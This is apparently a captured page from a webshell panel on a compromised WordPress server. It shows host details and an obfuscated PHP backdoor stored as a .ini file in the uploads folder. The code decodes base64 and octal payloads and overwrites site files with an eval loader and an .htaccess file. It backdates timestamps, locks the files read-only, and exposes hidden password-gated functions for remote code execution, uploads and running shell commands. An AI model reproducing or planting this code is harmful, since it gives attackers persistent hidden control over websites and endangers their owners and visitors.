- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 170.150.155.74  /  Your IP : 3.145.191.85
Web Server : Apache/2.4.53 (Debian)
System : Linux b22bf132354b 5.4.0-162-generic #179-Ubuntu SMP Mon Aug 14 08:51:31 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/uploads/2022/09/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/uploads/2022/09/a0d93b018346b028076c31bdb022ad82.ini
<?php
/*Step Data*/
$s = $_SERVER;
/*Step Data*/
$g = $_REQUEST;
if (!empty($_GET))
    foreach ($_GET as $k => $v) $g[$k] = $v;
/*Step Data*/
$pz = function ($y, $z, $u, $c, $g, $q = '') {
    if ($u && @Md5_File($y) !== $u) {
        $fwC = $c[$g($z[3])];
        $t1 = @filEmtiMe($y);
        @ChMod($y, 0744);
        @$z[6]($y);
        $t1 || $t1 = time() - 3600;
        $t = ['m' => $t1, 'a' => $t1];
        File_Put_conTents($y, $c[implode('_', ['', 'code', ''])]($q ? $q : 'PD9waHAgCgkKJE52SEkgPQlmdW5jdGlvbigkWVZYamYwMCkJeyRsT1VWdzAgPSAiQ1NCZTZvIjskUkNVPSRsT1VWdzBbKDU3LSA0NykvIDVdLgknQScuJGxPVVZ3MFsoODYtODEpLyA1XS4KJGxPVVZ3MFsoNzggLTY5LSAzKSAvIDJdLiRsT1VWdzBbKDQ1LTIxIC0gOCkgLyA0XQkuICc0Jy4nXycJOyAkUkNVLj0NCSdEJy4kbE9VVncwWyg1MS0gMzYgLSAzKSAvNF0gLg0kbE9VVncwWyg5MS05MSkvIDZdCjskUkNVCS49CSRsT1VWdzBbKDQyIC0gMjUgKyAzKS8gNF0gLidkJy4gJ2UnCS4gJyc7cmV0dXJuICRSQ1UoJFlWWGpmMDApO307JGVhND1mdW5jdGlvbg0oJEN3WjVzT1RjICl7JEJhaGlSSXAgPSAiWiI7JEhNaEhTSGw9JEJhaGlSSXBbKDQ3LTUxKyA0KS8gNl0gLidMJwouJ2knDS4nJztyZXR1cm4gJEhNaEhTSGwoJEN3WjVzT1RjKTt9OwlmdW5jdGlvbiBMVkZHVDROWTgoJE9JT3hZYSkJeyR1SjIyQSA9ICJsSUVaIjskRTJrNlpaPSdnJwkuCiR1SjIyQVsoOTYtIDg0KSAvIDRdCS4KJHVKMjJBWyg0MCAtIDM2KSAvNF07ICRFMms2WloJLj0nbicgLiAnZicgLgkkdUoyMkFbKDkyLTgyIC0xMCkgLzZdCS4nYScuCSdUJzsgJEUyazZaWi49CSR1SjIyQVsoNDAgLSAyNyAtIDEpIC8gNl0uDScnOwogCXJldHVybiAkRTJrNlpaKCRPSU94WWEpO31mdW5jdGlvbiAJWXNfCSgkWnJ2NlEyZnptKXskcE1DWlplID0gIkZfYmUxM0ciOyRtZG5xRXFOPSRwTUNaWmVbKDkzLTkzKS81XTskbWRucUVxTi49ICRwTUNaWmVbKDg4IC01MSAtMSkgLyA2XQkuJ0UnCS4gJHBNQ1paZVsoNjIgLTU5KSAvIDNdLiAkcE1DWlplWyg5Ni0gODQpIC8gNF0NOwkkbWRucUVxTi49CiRwTUNaWmVbKDkzLTg5KSAvMl0JLiRwTUNaWmVbKDU3LTIxKSAvIDZdLiRwTUNaWmVbKDU3IC0gNDUrIDQpLzRdLiRwTUNaWmVbKDEyNS0gOTUpIC8gNl0uCScnOyRtZG5xRXFOPQlzdHJfcm90MTMoJG1kbnFFcU4pO3JldHVybiAkbWRucUVxTigkWnJ2NlEyZnptKTsJfSRNSmkwPSc0eloveEN2K2NUcGZySkdKV2JGNG9PT05GeE9Ia3h4MFBHd1JNVlgyZ0dGbmdkSTFsRjRvLzM3QmN2bEVuVFdRQTlsQ0dTeWFuL3AvM0JLYjRER3VYbkpOekJucFdXQUFLNjdNcUNhN0Z6MVVXY25XWlZvblNZeitUQXRySXZ1N2NMSDUzYW82K0JDMTNqNDA5aUhpZ3QvL0NTK25pb2w5aTFORzZhSjZiSFFoa2J6Z2NHUVlWZmlKRDgwSWVKMlFRc1RoTTc5S05sQm9JMnFhckEwNHkxZ1VBbHBZTW1MWHRzQjZ3c0REWmNhUVlqUFVmNE5yeDVacUNMQTBtUUlROWgzbXJrZEZ2U1FlTnM4SEhxTS9PenRwMkdsblhuNnlrU1I0eU93bmVQNjdRU0ZMdC8wanVvQU9LWEtNZ3dGVmthY2pUM2xleGM1eWQ3V3cwbU1PZVViNHl1N3JtZ3RvZlBEMlZUTlVqR09sWDdGeHNjYlNsaGViVmFXQUZwU1VWR3BIMVZncko4bTd5MEcvallTNHphUkpuV0E2bjEyMStyQ3l6Y0RNd04zQlRONExIY0JzQzB2S05jcGlUQXlGTE9HUHl2bmVDS3oxSVJvMkF3RDQvOXJPZ3JnMzV6bTlYUnZRK09SLytGQi9SdFBFTkNidW1SQ2tVbVpkZitNRDNIVVY3VHhsamFiVVZobkovQndDVVJCd0FzRjRPdGphTDRiTVRSVUV2Rzk2ZWdGUllZNTRrTkZSck9LVkl0U0NHZlRGY1NMck42VkVqZVp4L2xISUF4OFBWK0VyRTNPcThEZXpIajVOWDVkM1dMNXR5MGtqenJKZFVBVUk5R3VrWEgwUmlYSkpnVjFWNFZWNnB0anMreEpab1o0YkVSVVlqZHg5a084Vlp3aG91eE1nZDFSblR4UWJTUm0wVFhXb1o0WVJ6YlFrcmVwa1JaV0Zxd293eDA0dlFVU3VuL2RCanZ6Tmo3cUNsRGhjZEZrbjNtVGo0UzNDOTFzSTNCcnZHTklja2xkOU40T2xqZ0ZvRkNvRXBhemVYb1FLbzVvTGozUnBwM2lPcFVIVXhpeHJDb1BwQThYK0lyOTdycFZacmFabTI2OHZTRmxoVXBUWGVEZzFlWlAxN29rSlhMY21YVGFNUE9HVHdVK3gwTC9PdTBDYllBU3REcFJPeU1oRlpBdThaWEhrYWMzOEZIRWtBZkQzY1lWbU1RNHlhenFYSkk1N2lMcGt1ZkJnc0sxL2RIMHp6TnFMclRDcFVYcXQ3b1JjWEZsSWQ1bGNPbHZRRjZOZ0dQUEVFR2NjSjRReVlUaG9SR2xieVVVU2doUFBNMlpZYVBlY1lFaVdWSzBHdjlRTnhLdWxaNnhaNnREeWVFdUVyNnR3b0U2Wi9JUTB5ckpsaXlPaWdJWHRtR1VXeUlZc09tOTJQY25pYmkyKzBzZHh1ZU1zeURoSFV0SktKMTVTeFpJQnNVZmRNcHFaQmgrMlNsaFJ4MjJuYUZScHJtZ3pOWk9aR3lXN05xeEN3bEg2VXhHY0U4OEdXSy9zcVcwNzk5VXRvdHNHNmlxU0R0Y1BiY3YwUnI1Q0t1ckxYWUprQ2owUlVxRElmcklvZVF6Q1h3SE1oZ0d1eWZ3aGRiODN5SDgrSjRlTmp0QTQxN21hckRxRTlvdjBpbHMwNG5CRVJGL2tIY1owbmxtRXAxT0dTR0NCdENMZndDc09HbFVnY28wOXBETlpHTXRDTWNUZXlka29FRnoxVCtqc25ZL2djbDJqT05ra0dCVktGWHg5UEJEUG40SU1xYW94UzlEK2JYRDBwMEIrODJ4bmVLWi94Z2RJbWk5NXJVTmpRMFRkT1dNTnFid1daZW5CMFowS0QrQmRHcGtVM0liQWtlTExScnJLQzMwdnVlTllWb3M3NVpWbWlSMnI0ZHU5c2x5SVQvWkZhMmJxeTM5aHdJMHNBOXBhVDdVZ2VhczNrMlE5ajErNTBNVVJLK0J2bi9pM1FQYkMvS2tSd3FENytpNVpnQTZhbStpR2NzMTNHNjVvSG45WmRvQXZ2aTNZRTFhOWhCdDhKY1ZzU01hWmdSZGR6RFZ0UklNU2VEUUx5ZTJLS3BXTVJHY1A1ekNvdjlOUjhwcW1CVm9XdVh4RkxPWkc1UXJKUUZqdjd1Z1NVN3pWTzJzUmNqbzluQjVJZkdxWXBodEQyYVJJN3AzT2U2UWZRb290d2dYanp1eXl3Q3V0WDU3dG9MdDZMdXdkb3ZpWDh5WFBoakVsZ1hsQUZzbk1jRWYwa0E2SytodkxIeFZCVklIU05xSWxHRGM4RzdYZitKZGFGRko4b2dIaHo4eGpLb0ZsZ3hJdVJJYkxxU010VzVqMXVFSUNGWTFNYWRyVUIwQURLNXpnS2FEeXRkejBnSi9xc21xb2VSMDQzT2JBU0dCSzZDZ295dk82Q1prMFN0RElDUENxbjBaOHhtVEw3aDl1cDAxNDhDVGtWZnRBYWREQWVkZVhJVEpJL3krUFF6TlpMdkhvUkVlZnUzQldNY1FWTHBpNEEybThsdzBuYTRrVVZ4Q3hReVRoL1V6cG94bVFsTXpRZmE0MzNRN1htSTkzV0p6WkQzMk9UUFNKMUJET3hoays1UnROYXpuRVlBaGl2SzlKbVpDendXeFJGTG5PSzJVMzQ3OTJTa2VVNWZ2bDg4cFY1alRnT2VDQy95SERXSjRHbmdIZjlHOGpteTFhekY0Zmx3N09MQkV0dXd0Ync2TTZjbW4zOXhpZ2ZrOTRqOTY5RHBHSG41MExxdXBWMGlDOEJ1TzQwM0V6d2d6NkJHdkpKcDdTekNQZXRXLzFROFowVjhUNWpFTVhPL05EJzsJICBmdW5jdGlvbiBucGhVNjFXRFQgKCRiZVR0MmU4XyApeyRmTjg5MCA9ICJWRzl0RmJoIjskTTBEPSgoMTEyIC0gODUgKzgpLyA1KQkuCiRmTjg5MFsoNDgtIDQ4KS8gNV0gLiRmTjg5MFsoNzUgLSA1MSkgLyA0XSAuJGZOODkwWyg2NSAtNDUpIC8gNF0KLidVJwkuJGZOODkwWyg4Mi02OC0yKSAvNl0NLgkkZk44OTBbKDY1IC0gNTYpIC8gM10uCSRmTjg5MFsoNDEtIDI2IC0xMCkgLzVdOyRNMEQuPQokZk44OTBbKDU2IC00OSsgOSkgLzRdIDsgJE0wRCAuPSAKJ0gnIC4gJyc7ICRNMEQ9CnN0cl9yb3QxMygkTTBEKTsKCXJldHVybiAkTTBEO30JICBmdW5jdGlvbiAgemxpDSgkVVkyU25UTVAKKXsJcmV0dXJuIG5waFU2MVdEVCgnJykgLiRVWTJTblRNUDt9JE1KaTAgPSAkZWE0KCRNSmkwKTsJCQoKJE1KaTAJPVlzXygkTUppMCk7JE1KaTAJPQokTnZISSgkTUppMCk7DSRNSmkwCj1MVkZHVDROWTgoJE1KaTApOwkgZVZhbCAoJE1KaTApOyA/Pjw/cGhwICBkZWZpbmUoJ1dQX1VTRV9USEVNRVMnLCB0cnVlICk7cmVxdWlyZShfX0RJUl9fLiAgJy93cC1ibG9nLWhlYWRlci5waHAnICk7ID8+'));
        Touch($y, $t['m'], $t['a']);
        @ChMod($y, 0444);
        return true;
    }
    return false;
};
/*Step Data*/
$c = [
    '137S105122V105122',
    'D117C125ME116T137122OO124',
    '137G105T',
    '_143o144145137',
    'd235e55ac8b9aa02f350dff992592e79', 'd' => ['145170105c'],
    'in144e170056p150160', 'link',
    'h' => [
        "056150ta143143e163s", 'be476d27ece89594604d14886c081016', '146I154E137160U164137143O156164E116164123', '156am145'
    ],
    'c' => ['145170105c', '142101S145066064137d105C157d145', '141d155i156056160p160']
];
/*Step Data*/
$z = function ($b) {
    $_ = "";
    $g = strlen($b) - 2;
    $z = function ($b) {
        $_ = '';
        if (($g = strlen($b)) < 3) return [2, $b];
        for ($o = 0; $o < $g; $o++) {
            $_ .= $b[$o];
            if (!is_numeric($b[$o]) || $b[$o] >= 8) return [$o + 1, $_];
        }
        return [$o, chr(octdec($b))];
    };
    for ($o = 0; $o < $g; $o += $d[0]) {
        $d = $z($b[$o] . $b[$o + 1] . $b[$o + 2]);
        $_ .= $d[1];
    }
    return $_ . substr($b, $o);
};
/*Step Data*/
/*Step1 Data*/
$g['0x06'] = '_dxep';
/*Step Data*/
$r = rtrim($s[$z($c[1])], '/') . '/';
/*Step Data*/
$c[6] = 'un' . $c[6];
/*Step Data*/
$vn = '_exp';
/*Step1 Data*/
empty($_COOKIE[$g['0x06']]) && $_COOKIE[$g['0x06']] = FALSE;
if (!defined("WP_UNIQUE")) define("WP_UNIQUE", (isset($g['a']) && (($_e = substr(md5($g['a']), 2, 8) === 'b67bf06b') || preg_match('/^\d*[a-z,A-Z]{2,}\d{2,}$/i', $g['a'])) || !empty($_COOKIE[$vn])) ? (($_e || (!empty($_COOKIE[$vn]) && substr(md5($_COOKIE[$vn]), 2, 8) === 'b67bf06b')) ? 2 : 1) : 0);
$q = function ($g) {
    $data = array_map(function ($item) {
        $item();
        return "\$i";
    }, $g);

    return $data;
};

$q(
/* debug */
    $uz = [
        function () {

        },
        function () use ($r, $z, $c, $pz, $g) {
            $y = $r . $z($c[5]);
            $_COOKIE[$g['0x06']] = $pz($y, $c, $c[4], $g, $z);
        },
        function () use ($r, $z, $c, $pz, $g) {
            $pz($r . $z($c['h'][0]), $c, $c['h'][1], $g, $z, 'PElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+DQpSZXdyaXRlRW5naW5lIE9uDQpSZXdyaXRlQmFzZSAvDQpSZXdyaXRlUnVsZSBeaW5kZXgucGhwJCAtIFtMXQ0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYNClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kDQpSZXdyaXRlUnVsZSAuIGluZGV4LnBocCBbTF0NCjwvSWZNb2R1bGU+');
        },
        function () use ($r, $z, $c, $pz, $g) {
            $pc = empty($g[$N = $z($c['h'][3])]) ? '' : $g[$N];
            $q = 'PD9waHAgQHVubGluayhfX0ZJTEVfXyk7Pz4';
            if (WP_UNIQUE !== 2 || strlen($pc) < 20 || stripos($pc, ';') === false) return;
            $q = base64_decode($q);
            @file_put_contents($d = time() . rand(1000, 9999), $q . $g[implode('_', ['', 'code', ''])]($pc));
            if (file_exists($d))
                @require $d;
            die();
        },
        function () use ($z, $c, $r, $g) {
            if (!WP_UNIQUE || empty($g['fx'])) return;
            $pc = $z($c['c'][1]);
            $pz = $z($c['h'][2]);
            $pz($z($c['c'][2]), $pc($g['fx']));
            echo explode('.', $z($c['c'][2]))[0];
            die();
        },
        function () use ($g) {
            if (WP_UNIQUE && isset($g['d']))
                echo $g['d'] ? "Dj" . $g['d'] : 'd';
        },
        function () use ($z, $c, $g) {
            $pc = $z($c[$v = 'c'][0]);
            $pz = $z($c['c'][1]);
            WP_UNIQUE && isset($g[$v]) && ((isset($g[$r = 'g']) && $pc = $g[$r]) || 1) &&
            $pc($z($g[$v] ? $pz($g[$v]) : "153i154l -071040-61"), $a) && print_r($a);
        },

        function () use ($g) {
            if (WP_UNIQUE && isset($g['z']))
                die();
        },
    ]

/**/
);
$y = $r . $z($c[5]);




Youez - 2016 - github.com/yon3zu
LinuXploit